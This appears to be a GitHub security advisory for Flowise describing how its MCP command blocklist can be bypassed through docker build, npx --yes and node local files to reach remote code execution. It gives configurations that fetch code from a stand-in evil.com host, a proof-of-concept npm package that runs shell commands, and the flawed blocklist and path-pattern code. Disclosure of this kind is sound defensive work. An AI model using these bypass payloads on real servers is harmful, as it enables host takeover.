Flowise: Flowise has an MCP Security Bypass that Enables RCE

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example:

<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

After execution, the command can be triggered to execute docker build http://evil.com

<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />

{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File [...]